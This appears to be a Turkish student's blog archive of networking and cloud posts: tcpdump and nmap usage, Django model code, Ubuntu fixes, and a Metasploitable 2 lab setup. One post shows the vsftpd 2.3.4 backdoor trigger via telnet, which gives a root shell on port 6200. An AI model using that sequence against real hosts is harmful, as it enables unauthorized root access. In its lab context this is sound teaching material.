29 Ekim 2016 Cumartesi

Tcpdump Kullanımı

Daha önce Ubuntu üzerine tcpdump kurulumunu anlatmıştım. Şimdi de bu tcpdump nedir, ne değildir, hangi parametreler ile çalışır ufak ufak anlatmaya çalışacağım. Hem belki meraklılara bir faydam olur hem de kendim tekrar etmiş olurum en süperlisinden.

Öncelikle tcpdump, Linux/UNIX sistemlerde de-facto paket yakalama ve analiz aracıdır. Bizim makinemize gelen paketleri görebiliriz. Sadece bakarak ayırt etmesi zordur. Kendisine gelen broadcast trafiğini gösterir.

Nmap ile açık portlara bakarken, bir bilgisayara dışarıdan hangi paketler geliyor diye tcpdump'ı kullanırız.

=> Bir makineden, o makineye servis veren başka bir makineye bağlanılamıyor diyelim. Sizin çalıştırdığınız bir servise dışarıdan ulaşılamadığını söylenecek. Aynı şirketten biri ya da sattığınız biri olabilir.
 -Kendimiz ssh ile bağlandık, çalışıyor. Sonra karşı taraf o makineye ulaşabiliyor mu diye takip ederek devam ederiz.  Bu durumda bir servise kullanıcı bağlanamıyorsa, LOGlara bakayım diyemeyiz, çünkü adı üstünde LOG bağlandıktan sonra oluşan sonuçlardır. Ozaman paket seviyesinde gönderilenleri incelememiz gerekir. Bunu da TCPDUMP kullanarak yapabiliriz.

#tcpdump Bütün ethernet kartlarımıza, bütün IP'lerden gelen, hangi protokolden ve hangi porttan gelirse gelsin, tüm paketleri bu komut ile dinleriz.

#tcpdump -i wlan0 istediğimiz arabirimi dinlemek istiyorsak.

#tcpdump -D Sistemimizde bulunan ve tcpdump tarafından dinlenebilecek arabirimlerin listesini verir.

-n : DNS isimlerinin(hostname) çözümlenmesini istemiyorsak,
-nn : Hem dns isimlerinin hem de portların çözümlenmesi yapılmayacaksa (telnet yerine 23 yazar.),
-t : Paketin hangi zaman aralığında yakalandığını göstermez.
-E : IPSec'i çözümleyip, key olursa gösterir.

#tcpdump -w dosya_ismi : Paketleri kayıt eder. (Ama okunamayacak şekilde)
#tcpdump -r dosya_ismi : Kayıt ettiğimiz dosyayı okunabilir hale getirir.

-c : Yakalanacak paket sayısını belirlemeyi sağlar.
#tcpdump -i eth0 -c5 : eth0'dan gelen 5 paketi gösterir.

-s : Yakalanacak paket boyutunu belirlemeyi sağlar.
#tcpdump -s 1500 

-v : Detaylı LOGlama yapar. (TTL ve ID değerleri ile ilgili bilgi edinilir.)
-p : Promise moddan çıkılmasını sağlar. (Promise mod, ethernet kartımızın kendisine fiziken ulaşmış, paketlerin hedef IP adresi kendisi olmasa dahi paketleri alır .)

#tcpdump host 10.0.0.21 : Belirlediğimiz bir hosta ait paketin izlenmesi istenirse. (makine_adi da olur.)

#tcpdump dst host 10.0.0.21 : Hedef host belirtilir.
#tcpdump src host 10.0.0.21 : Kaynak host belirtilir.
#tcpdump src host 10.1.0.59 and dst host 10.1.0.1  : Aynı anda belirtebiliriz.

#tcpdump port 23 : Belirlediğimiz portu dinler.
#tcpdump dst port 23 : Hedef port belirtiriz.
#tcpdump src port 23 : Kaynak portu belirtiriz.

#tcpdump icmp,tcp,udp : Protokollere göre paketleri dinler.

#tcpdump portrange 21-23 : Port aralığına göre tarama yapar.
#tcpdump less 32 : 32 bytetan daha küçük olan paketleri dinler.
#tcpdump greater 64 : 64 bytetan daha büyük paketleri dinler.



Yukarıdaki sitelerde daha ayrıntılı bir şekilde bilgiye erişebilirsiniz. Umarım faydalı olur.

Kolay gelsin. :)

28 Ekim 2016 Cuma

( PaaS) : Platform As A Service


    PaaS uygulama dizaynı, uygulama geliştirme, hosting, test işlemleri için ihtiyacınız olan platformu sağlar. Tabi ki bu platformu cloud işlem vasıtası ile hızlı bir şekilde yapılandırabilir ve kendi ihtiyacınız doğrultusunda anında işlem yapacak hale getirebilirsiniz.

Eski modelde geliştirici kullanacağı platformu yapılandırmak, güncellemek ve sürekli ayakta tutmak zorundaydı. Bu durumda geliştirmeye zaman kalmıyordu. PaaS sayesinde arkaplanda dönen işlerin hiçbiri ile ilgilenmeniz gerekmiyor, sadece kendi yapmanız gereken kısımla ilgileniyorsunuz.

Bunun IaaS ile farkı nedir diyebilirsiniz. Örneğin Lamp üzerinde uygulama geliştirmeniz gerekiyor. IaaS sağlayıcısından hizmet alıp LAMP ortamını kendiniz yaratıp, güncelleyip, çeki düzen verirsiniz yani kısaca tüm platform sorumluluğu sizde olur. Ama  PaaS'da zaten hali hazırda LAMP platformu sunan bir sağlayıcıdan birkaç işlem ile üzerinde uygulama geliştirmeye açık bir hizmet alırsınız yani paltformu ayarlamakla uğraşmaz patlatmadan direkt olarak kod yazmaya başlayabilirsiniz.

    "Platform As A Service" da artık sadece networking vs değil işletim sisteminden tutun, runtime'lara ve SQL'inize kadar herşey kurulu geliyor. Kurulu olarak gelmenin yanısıra tüm bu altyapının bakımı, yönetimi servis sağlayıcı tarafından sağlanıyor. Artık benim sunucu satın almam, network ayarlarını yapmam, yönetmem, sanallaştırma çözümlerini seçmem, yönetmem, işletim sistemi lisanslarını almam, işletim sistemini ayarlamam, yönetmem, runtime kurulumlarını yapıp güvenlik ayarlarını yapmam gibi hiçbir konuyla en ufak bir ilişkim kalmıyor. Elimdeki uygulamamı ve datamı alıp direk bana sağlanan PAAS ortamına koyup işimi bitiriyorum.

Kısaca PaaS size altyapı üzerine kurulmuş hazır bir platform sunar. 



    Bu sene aldığım Azure ile Bulut Bilişim dersinde gruplara ayrılarak OBS(Öğrenci Bilgi Sistemi) yapmaya karar verdik. Projemizin amacı Öğrencilere, öğretmenlere ve yönetim kadrosunda yer alan kişilere daha hızlı ve kullanışlı bir bilgi alışverişi yapacakları bir sistem oluşturmaktır.

    Projemizi sekiz arkadaş birlikte oluşturmaya çalışıyoruz. Öncelikle görev dağılımı yaptık. Öncelikle projedeki Database kısmı için Modelleri ortaya çıkardık. Bunlar Student, Register, Management, Faculty, Department, Lecturer, Course-Offered Course, Semester-Education Plan'dır.

  • OBS projemizde benim görevim Faculty Modelinin Database kısmını, API'sini ve arayüzünü oluşturmaktır. 
Biraraya gelerek Django kullanarak modelleri oluşturduk ve modelleri Github'a commitledik. Faculty Modelini oluştururken Django'da  :

    $ django-admin.py startapp obs_faculty
    $ vim models.py
  
     #! -*- coding:utf-8 -*-
from django.db import models

# Create your models here.

class Faculty(models.Model):
    faculty_name = models.CharField(max_length=50)
    faculty_code = models.CharField(max_length=20)  
    faculty_address = models.CharField(max_length=220) 
    faculty_tel = models.CharField(max_length=12) 
    faculty_fax = models.CharField(max_length=12) 

    def __str__(self):
        return self.faculty_name

    class Meta:
        verbose_name ="Fakülte"
        verbose_name_plural="Fakülteler"

    $ vim admin.py
    
    from django.contrib import admin

    from .models import Faculty

    admin.site.register(Faculty)

    $ vim setting.py
      # Application definition
   
     INSTALLED_APPS = [  
         'obs.obs_faculty',
     ]
    
    $ python manage.py makemigrations

    $ python manage.py migrate

    $ python manage.py runserver
    
    Django version 1.9.7, using settings 'obs.settings'
    Starting development server at http://127.0.0.1:8000/






Faculty Modelinin Github Linki : https://github.com/comuOBS/obs-api/tree/master/obs_faculty

Proje Github Linki : https://github.com/comuOBS


26 Ekim 2016 Çarşamba

Özgür Web Teknolojileri Günleri 2016


Bu sene altıncısı düzenlenen Özgür Web Teknolojileri Günleri, Boğaziçi Üniversitesi Güney Kampüs'de ücretsiz(herzamanki gibi) olarak düzenlendi.

Bu etkinliğe Özgür Yazılım gönüllüleri, meraklıları, Web uygulamaları geliştirenler, yönetenler, sistem ve ağ yöneticileri, üniversite öğrencileri ve bilişim sektöründe çalışan kısaca bu alana merakı olan herkes katılabilir, katılmalı.

Etkinlik programı süperdi. Birçok konuşmacıyı daha önceden takip ediyor ve yaptıklarından haberdardım zaten. Onları etkinlikte canlı canlı dinlemek çok güzel oldu.
                                                                                                                                                                 
                  Belgelendirme Güdümlü Geliştirme – Fatih Kadir Akın & Halil Kaya

              Web Dünyasında Uluslararası Özgür Yazılım Fırsatları – Aybüke Özdemir

                                           Elm Dili ile Fonksiyonel Programlama – Burak Can

Yukarıdaki fotoğraflar katıldığım birkaç oturumdan kareler. Etkinliğe katılanlar #owtg2016 hashtag'i ile twitterda paylaşımlar yaptılar.


Yeni insanlarla tanışmak ve daha önce yine bu etkinlikte ya da akademik bilişimde tanışmış olduğum arkadaşlarım ile görüşmek çok iyi geldi. Hem İstanbul'da güzel bir haftasonu geçirmiş oldum hem de harika şeyler hakkında fikir sahibi oldum.
                                                
Buarada stickerlar için Doğukan abiye teşekkür ediyorum. Ve onun youtube kanalını mutlaka takip etmenizi şiddetle öneriyorum. Çünkü sektörden birçok geliştirici ile sohbetleri yer alıyor, aydınlanmanızı sağlayan bir sohbete denk gelebilirsiniz. Buraya linki bırakıyorum.

Seneye sizde gelsenize ! :)

Ubuntu 14.04'de Wifi Simgesinin Olmaması


Bugün arkadaşımla kütüphanede çalışırken baktım bilgisayarında wifi simgesi yok, dedim "Nasıl ya ?". Daha sonra aman boşver bağlanıyorum internete demesi ile konuyu geçiştirirken Eduroam ayarlarınıda yapamıyorduk. Daha önce Eduroam ayarlarının nasıl yapılabileceğini anlatmıştım. Arkadaşımda da aşağıdaki aşamaya geldiğimizde hiçbir tuşa basılamıyordu.


Bir terminal(Ctrl+Alt+T) açıyoruz öncelikle :

$ sudo apt-get install indicator-applet indicator-network

yazıyoruz. Ve sistemimizi yeniden başlatıyoruz.


Böylece wifi simgesi gelmiş oldu. Hatta arkadaşımda üstüne birde Telegram simgesi göründü süperli oldu. Ubuntu'ya Telegram kurulumunu Hatice bu linkte anlatmış, lazım olur kullanırsınız diye buraya bırakıyorum onu da.

Buarada 42 bildirim gelmesi de, evrenin bize gönderdiği bir işaret olsa gerek. :) Kolay gelsin..

13 Ekim 2016 Perşembe

Azure ile Windows Sanal Makine Oluşturma



Ubuntu'da Eduroam Ayarları


Eduroam bağlantı ayarları yapılmadan önce sertifikaların bilgisayara yüklenmiş olması gereklidir. Sertifikaları, buradan yükleyebilirsiniz.


















  • Authentication, Protected EAP(PEAP) seçilir.
  • Anonymous identity(Anonim Kimlik) kısmına kullanıcının e-posta adresi yazılır.
  • PEAP version, Version 0 seçilir.
  • Inner authentication(İç kimlik doğrulama) MSCHAPv2 olarak seçilir.
  • Username(Kullanıcı Adı) kısmına kullanıcının e-posta adresi yazılır.
  • Password(Parola) kısmına kullanıcının parolası girilir.
Connect dedikten sonra ekrana sertifika seçmediğimi bildiren mesaj geldi. Bunu Ignore dediğimde de eduroam ile bağlantı kurdum.  

Ama daha sonra uygun sertifikayı seçerekte eduroama bağlantı sağladım.


12 Ekim 2016 Çarşamba

Metasploitable 2

Servisler : Backdoors (Arka Kapılar)

Bu yazımda kurulumunu anlattığım Metasploitable 2'nin, 21.portunda çalışan FTP sunucusunun
vsftpd programı ile ilgili bir şeyler karalayacağım.

Öncelikle Metasploitable2'ye login oluyoruz. Bize zaten Kullanıcı adı ve Parolamızı hatırlatıyor. :)















Daha sonra 

$ ifconfig komutu ile makinenin IP alıp almadığını kontrol ediyorum.















Kendi makinem ile aynı ağda olmasını istediğim için öncelikle kendi makinemdeki terminale gelerek:

$ ifconfig komutunu yazıyorum.
Ve vboxnet0'n IP adresinin 192.168.56.1 olduğunu görüyorum. Şimdi bende Metasploitable 2'yi kendi makinem ile aynı ağda olacak şekilde bir IP adresi atıyorum. 

Bunları yapabilmek için öncelikle süper kullanıcı(root) olmam gerek. Çünkü ifconfig komutu /sbin/ifconfig/ dizini altında bulunuyor ve /sbin/  dizininde normal kullanıcı iken ya da root iken işler farklı ilerliyor. Yapılandırma yapabilmek için root olmam gerekiyor.

# ifconfig eth0 192.168.56.42 netmask 255.255.255.0 up komutunu yazıyorum.

Sadece IP adresi atamam yetmiyor. Bir Yönlendirici adreside atamam gerek. Bunun için de:

# route add default gw 192.168.56.1 komutunu yazıyorum.







Daha sonra benim makinemle haberleşebiliyor muyum diye ping atıyorum yani bir ICMP paketi gönderiyorum.




















Sıra geldi kendi makinemde nmap ile tarama yaparak Metasploitable 2'nin portlarını ve o portlarda açık olan servisleri görmeye, kendi makinemin konsolunu açarak:

$ nmap 192.168.56.0/24 yazıyorum.

















 192.168.56.1 IP adresli kendi makinemi ve 192.168.56.42 IP adresli Metasploitable 2'ı gördü.
Şimdi kendi makinemde root olarak Telnet ile Metasploitable 2'de oturum açacağım.
Öncelikle Telnet Nedir dersek , bir makineye uzaktaki başka bir makineden bağlanmak için geliştirilen bir TCP/IP protokolü ve bu işi yapan programlara verilen isimdir.(vikipedi :) )

Telnet ile bir şeyler yapabilmek için kendi makinemde root oluyorum.

# telnet 192.168.56.42 21 (Metasploitable 2'nin 21.portunda çalışan serviste oturum açmaya çalışıyorum.)

Trying 192.168.56.42...
Connected to 192.168.56.42.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

Burada koyu yazılanları biz yazıyoruz. Dipnot : Benim ilk denediğimde olmadı. Terminali kapattım ve yeniden açarak root olduktan sonra aynı komutu yazdım, bu sefer düzeldi.
Bu işlemi yaptığımızda karşı makinede yani Metasploitable 2'de 6200.port aktif hale geliyor. Başta taradığımızda sadece 6000. ve 6667.portlar açıktı.

# telnet 192.168.56.42 6200

       Trying 192.168.56.42...
Connected to 192.168.56.42.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)

Burada koyu yazılmış olan id; 'yi biz yazıyoruz. Ve görüldüğü gibi karşı taraftaki makinede yani Metasploitable 2'de root olarak, oturum açmış bulunmaktayız. :))

Bu işi daha iyi anlamak ve özümsemek için bu sayfaya bakabilirsiniz. Bilgisayar Ağları dersinden bugünlük bu kadar ile yetindik, umarım faydalı oluyordur. :))
Kolaylıklar diliyorum. :)

Virtualbox Üzerine Metasploitable 2 Kurulumu


Metasploitable Nedir ?

    Metasploitable, hedef sistemlere sızma sırasında yapılan saldırılar için bir deneme, öğrenme ortamı olarak Metasploit tarafından oluşturulmuştur. Sistem bir çok zafiyet barındıran, Linux bir sanal makinadır. Virtualbox’a  kurulabilir.

Öncelikle buradan metasploitable-linux-2.0.0.zip paketini indirmeliyiz. İndirdikten sonra paketin indirildiği dizine:

$ cd İndirilenDizin/ ile geçiş yaparak. 
$ unzip metasploitable-linux-2.0.0.zip komutu ile paketi açıyoruz.










Daha sonra Virtualbox'ımızı açarak. New diyoruz. 




Ve aşağıdaki ekran görüntüsünde olduğu gibi Metasploitable kurulumuna başlıyoruz.

Metasploitable bir Linux dağıtımıdır.
Name yerine istediğinizi yazabilirsiniz.
Type ve Version ekran görüntüsünde olduğu gibi olmalıdır.
Next diyoruz.










Next diyoruz.














Şimdi ki aşamada ise "Use an existing virtual hard drive file" seçeneğini işaretleyip. Sağ kısımdan Metasploitable'n olduğu dizine gidip Metasploitable.vmdk'yi seçiyoruz ve Open dedikten sonra Create diyerek kuruluma devam ediyoruz.












Create demeden önce işlemleri yaptıktan sonra ki son görünüm aşağıdaki gibi olmalı.


Create dediğimizde kurulumumuz tamamlanmış oluyor.
Virtualbox üzerinden Start'a bastığımızda aşağıdaki şekilde makina açılır.

Login olmak için süperli bir şekilde kullanıcı adı ve parolamızı bize sunuyor Metasploitable :)
msfadmin/msfadmin 

Yalnız  Metasploitable  kullanırken 'i' harfi için  'ı' harfine basmamız gerekiyor, Unutmayalım. :)

******Bunu internete bağlı bir makineye, internete açık bir şekilde kurmamak gerek. Sadece kendi bilgisayarımızla haberleşecek şekilde kurmamız gerekir. Aman dikkat edelim. :)

Bunu da Virtualbox'ı açtıktan sonra File > Preferences > Network dedikten sonra Host-only Networks'e basıp. Artı'ya tıkladığımızda ayarlamış oluyoruz.















Şimdiden kolay gelsin :)

10 Ekim 2016 Pazartesi

Ubuntu 14.04'te Atom Editörü Kurulumu


Atom editörünün kurulumunu gerçekleştirmek için öncellikle terminalimizi(Ctrl+Alt+T) açıyoruz.

Öncelikle repoyu ekliyoruz :

$ sudo add-apt-repository ppa:webupd8team/atom





Root parolanızı soracak, girip Enter tuşuna basın. 















Terminalde bu şekilde bir çıktı belirecek. Devam etmek için [ENTER]'a basmamız gerekiyor.

Şimdi de repoyu güncelleyelim:

$ sudo apt-get update

Biraz zaman alacaktır, bekleyelim.

Son olarak atomu yükleyelim:

$ sudo apt-get install atom




Kurulumumuz bitti. Arama kısmına Atom yazarak kullanmaya başlayabilirsiniz. Şimdiden kolay gelsin :)

8 Ekim 2016 Cumartesi

Bulut Bilişim



  Bulut bilişim (Cloud computing) veya işlevsel anlamıyla çevrimiçi bilgi dağıtımı; bilişim aygıtları arasında ortak bilgi paylaşımını sağlayan hizmetlere verilen genel addır. Bulut bilişim bu yönüyle bir ürün değil, hizmettir; temel kaynaktaki yazılım ve bilgilerin paylaşımı sağlanarak, mevcut bilişim hizmetinin; bilgisayarlar ve diğer aygıtlardan  bilişim ağı üzerinden kullanılmasıdır.
                                                                               
                                                                                          
Sahip olduğunuz tüm uygulama, program ve verilerinizin sanal bir sunucuda yani bulutta depolanmasını sağlayabilir ve internete bağlı olduğunuz herhangi bir ortamda cihazlarımız aracılığıyla bu bilgilere, verilere, programlara kolayca ulaşabiliriz.

Bulut hizmeti satın alırken; Gartner raporu, servis sağlayıcının sizin çalıştığınız sektördeki referansları, hukuki zorunluklar, hizmetin sunulduğu coğrafi lokasyon, dikkat edilmesi gereken başlıca önemli noktalardır.

Avantajları

  • Düşük Donanım ve Yazılım Maliyeti
  • Gelişmiş Performans
  • Anında Güncelleme
  • Sınırsız Depolama Kapasitesi
  • Artırılmış Veri Güvenliği
  • İşletim Sistemleri Arasında Geliştirilmiş Uyum
  • Artırılmış Dosya Formatı Uyumu
  • Grup Çalışması
  • Gizlilik ve Güvenlik 
  • Esneklik ve Verimlilik 

Dezavantajları

  • Sabit İnternet Bağlantısı Gerektirmesi
  • Düşük Hızlarda Düzgün Çalışmaması
  • Güvenlik Açıkları
  • Sistem Güncellemeleri

  Bulut depolama hizmetlerine en iyi örnekler:


   Bulut hizmeti Bilişim’de müşterilere üç temel hizmet sunuluyor:

  IaaS(Infrastructure as a Service) : Kullanıcı, yazılımları ve uygulamaları kullanmak için güç kaynağı, ağ, saklama, sunucu donanımları ve diğer sistemlerden yararlanıyor. Kullanıcı bu yazılımları bilgisayarlarında ne zaman kullanacağına kendisi karar veriyor ve tüm bileşenler üzerinde tam bir kontrol sahibi oluyor. ‘Amazon Elastic Compute Cloud’ altyapı hizmetine örnek gösterilebilir.

    PaaS(Platform as a Service) :  Kullanıcı, belirli bir platformla (genellikle Java, Python gibi platformlarıyla) uyumlu olan uygulamalarını zengin bir ortamdan yararlanarak kullanıyor. Bu ortamda iş kuyruğu yönetimi, veriye erişim, uygulamalar arası iletişim gibi araçlar sunuluyor. Google App Engine ve Microsoft Azure Platform Hizmetine örnek gösterilebilir.

   SaaS(Software as a Service) : Kullanıcı, önceden belirlenmiş uygulamaları doğrudan Web tarayıcısından çalıştırıyor. Bu uygulamalar farklı kullanıcılar tarafından aynı kolaylıkla kullanılmak üzere tasarlandığı için, iş ihtiyaçlarına özgü tasarımlara veya özel yapılandırmalara izin vermiyor. ‘SalesForce.com’ yazılım hizmetine örnek gösterilebilir. 


Birde Bulut Bilişimi burdan dinleyelim :)






 

7 Ekim 2016 Cuma

Nmap Kullanımı


Hedef makinelerin üzerinde hangi servislerin erişilebilir olduğunu gösteren araçtır. Açık kaynak kodlu olarak geliştirilmiş bir yazılımdır. GPL (General Public Licence) lisanslı bir yazılımdır ve istendiği takdirde sitesinden kaynak kodu indirilebilmektedir.

Nmap kullanarak ağa bağlı herhangi bir bilgisayarda port taraması, versiyon ve işletim sistemi analizi, zaafiyet testleri, yazılımların hangi servisleri kullandığı, yazılımların sürüm numaraları gibi birçok bilgi elde edilebilmektedir.

$ nmap [hedef_makine_adı] diyerek bir tarama yaptığımızda bize hangi portların erişilebilir olduğunu söyler. Port bilgisi, portların durumları ve hangi servislerin kullanıldığını gösterir.

PORT    STATE  SERVICE
21/tcp      open           ftp
22/tcp      open           ssh
80/tcp      open           http
443/tcp    closed         https

 $ nmap [hedef_makine_IP_adresi] şeklinde de yanı taramayı yapabiliriz.

***Bir ağın içinden(örneğin yerel ağ) ve başka yerden yaptığımız taramalarda sonuçlar her zaman aynı olmayacaktır.

=> Nmap tarama işini nasıl yapıyor?
Nmap hedef makinenin  /etc/services dosyasına bakıyor ve hangi portların açık olup olmadığını bize gösteriyor.

=> Peki IP adresine yerine makine adı yazdığımızda nasıl tarama yapıyor olabilir ? Makine adı verdiğimizde önce DNS'den IP adresini buluyor. Bu IP adresine karşılık verdiğimiz makine adı mı geçerli diye kontrol ediyor. (Reverse DNS) Çünkü IP adresi ve makine adı eşleşmiyor olabilir.

=> Tarama sonucu gösterilen bilgilere inanmalı mıyız?
Hayır. Herzaman bize gösterilen bilgiler doğru olmayabilir. Kullanılan servisin imzasını değiştirip de bize o şekilde gösteriliyor olabilir.

Portların Durumları

open : Port açıktır ve portu dinleyen bir uygulama mevcuttur.

closed : Port kapalıdır ama erişilebilir sadece portu dinleyen bir uygulama mevcut değildir.

filtered : Paketlerin karşı tarafa gönderirken filtrelenmesi..(paket filtrelenmesi.) Nmap filtreleme işlemi dolayısıyla port açık mı kapalı mı tespit edemez.

unfiltered : Nmap'ın ulaşabildiği ama açık mı kapalı mı tespit edemediği durumdur.

open | filtered : Açık mı filtrelenmiş mi karar verilemediği durumdur.(Kapalı değil yani.)

closed | filtered : Kapalı mı filtrelenmiş mi karar verilemediği durumdur.


=> Portun açık olması ne demektir ?

  •  O portu dinleyen tek başına çalışan bir uygulama var demektir. 
Örneğin 80.portu dinleyen bir uygulama(Apache) var. Apache uygulaması sürekli ayaktadır ve sürekli 80.portu dinler ve cevap verir, isteği işler. Cevap verirse verir, istemezse vermez.

  • Bir süper sürecin var olmasıdır.
Süper süreç üzerine tanımladığımız portların hepsini dinler. Bir istek geldiğinde örneğin 80.porta, bir apache sürecinin ayağa kaldırır ya da 22.porta geldiğinde  ssh'ı süper süreç ayağa kaldırır.
Bu durum bazen sunucu kaynaklarını verimli kullanmak anlamına gelebilir. Bir sürü sürecin ayakta olması demek onların sistem kaynağı tüketmesi anlamına gelir. Fakat çok sık istek alan bir web sunucusunu çalıştırıyorsak, sürekli ayaktaysa bu durum iyi fikir olmaz. (Çok istek alan portta çalışıyorsa.)

=> Port açık olmasada açık gösterilebilir mi?
Bütün portları dinle dersek süper sürece o şekilde açık görünebilir. Bu durumda portun gerçekten servis verdiğini göstermez. Bize karşılık veren tek bir betik de dönüyor olabilir.

# nmap -A -T4 [hedef_makine_adi] ( # : root ) 
# nmap -A -T4 [hedef_makine_IP_adresi] 

-A : OS(işletim sistemi) ve versiyon bulma, script taraması ve traceroute özelliğini çalıştırır.
-T4 : Daha hızlı bir şekilde tarama yapar.  

$ nmap -sV [hedef_makine_adi]
$ nmap -sV [hedef_makine_IP_adresi] bu komut kullanılan servislerin versiyon bilgisini gösterir.

PORT    STATE  SERVICE    VERSION 
21/tcp      open           ftp             Pure-FTPd
22/tcp      open           ssh            OpenSSH 5.3(protocol 2.0)
80/tcp      open           http           Apache httpd 2.2.15(CentOS)
3306/tcp  open           https         MySQL(unauthorized)

Hedef Belirtme Seçenekleri

192.168.1.10
192.168.1.10/24 : 192.168.1.10 - 192.168.1.255 aralığında bulunan subneti tarar.
192.168.1-2.* : 192.168.1.0 - 192.168.2.255 aralığındaki her şeyi tarar.
192.168.1,2.0-255 : 192.168.1.0 - 192.168.2.255 aralığındaki her şeyi tarar.
*.*.1.5 : 1.0.1.5 - 255.255.1.5 aralığındaki her şeyi tarar.
nmap -sV -iL hosts.txt : Taranılacak olan hostları, hosts.txt dosyasından alır.
nmap -p 443 -iR 10 : HTTPS servisini kullanan rastgele 10 tane hostu bulmak için kullanılır.
nmap -sP --exclude web.xy.com,dns.xy.com,mail.xy.com 192.168.1.0/24 : 192.168.1.0 - 192.168.1.255 subnetinde belirtilen adresler dışındaki her şeyi tarar.
nmap --excludefile tehlike.txt 192.168.0.0/16 : 192.168.0.0 - 192.168.255.255 subnetinde belirtilen dosyadaki adresler dışındaki her şeyi tarar.


Hedef Belirtme Özellikleri

-iL [dosya_ismi] : Hostların veya ağların belirtildiği dosyadan bilgileri alarak tarama yapar.

-iR [host_sayısı] : Rastgele hedef seçer. Host sayısı verilerek kaç hedefin taranılmak istenildiği belirtilir.

--exclude [exclude_file] : Taranılması istenilmeyen hostların veya ağların bir dosya içerisinden alınarak hedefler belirtilir. 

#nmap -sP 192.168.2.0/24 : Ayakta olan makineleri gösterir.(Ping Scan) ( # : root ) 

Daha fazlası için bu sitenin yararlı olacağını düşünüyorum. :)

Bu sene aldığım Bilgisayar Ağları dersinde öğrendiğimiz teknolojilerden özet halinde blogumda bahsetmeyi planlıyorum. Umarım herkes için faydalı olur :)
Şimdiden iyi Çalışmalar :)

6 Ekim 2016 Perşembe

Ubuntu 14.04 için Tcpdump Kurulumu



Öncelikle $ sudo apt-get update yaparak bilgisayarımızdaki yüklü paketleri güncel hala getiriyoruz.

Daha sonra buradan Tcpdump'in son sürümünü bilgisayarımıza indiriyoruz.


Ubuntu için tcpdump-4.7.4.tar.gz arşiv dosyasını indiriyoruz. Benim Downloads dizinine indiği için:















$ cd Downloads/ yazarak o dizine geçiyorum.
$ tar xvzf tcpdump-4.7.4.tar.gz 

   x: extract yani dosyayı açmak/çıkarmak istediğimizi söylüyoruz.
   v: verbose yani dosyaları açarken aynı zamanda ilgili işlem hakkında ekranda rapor göstermesini istiyoruz.
   z: tar tipindeki birçok dosyadan tar.gz tipinde dosyayı çıkartacağını söylüyoruz.
   f: file yani dosya adının hemen ardından geleceğini söylüyoruz.











$ cd tcpdump-4.7.4/
$ sudo apt-get build-dep tcpdump
$ ./configure
$ make
$ sudo make install 

dediğimizde kurulumumuz tamamlanmış olur.

$ tcpdump --version Tcpdump'ın bilgisayarımızda yüklü versiyonunu öğrenmek için yazıyoruz.









Kolay gelsin. :)

5 Ekim 2016 Çarşamba

Ubuntu 14.04 için Nmap Kurulumu


Öncelikle $ sudo apt-get update yaparak bilgisayarımızdaki bilgileri güncel hala getiriyoruz.

Daha sonra buradan Nmap'in son sürümünü bilgisayarımıza indiriyoruz. 

Ubuntu için nmap-7.30.tar.bz2 arşiv dosyasını indiriyoruz. Benim Downloads dizinine indiği için :














$ cd Downloads/ yaparak o dizine geçiş yapıyorum.
$ tar xvfj nmap-7.30.tar.bz2










$ cd nmap-7.30/

$ ls 

$ vim INSTALL dediğimizde INSTALL dosyasında yazanlar bize Nmap'i nasıl kuracağımıza yardımcı olur.

$ sudo apt-get build-dep nmap dediğimizde ihtiyaç duyulan bağımlılıkların kurulmasını sağlarız.
$ ./configure
$ make
$ sudo make install

dediğimizde kurulumumuz tamamlanmış olur.

$ nmap -v diyerek nmap sürümümüzü kontrol edebiliriz.


Şimdiden kolay gelsin. :)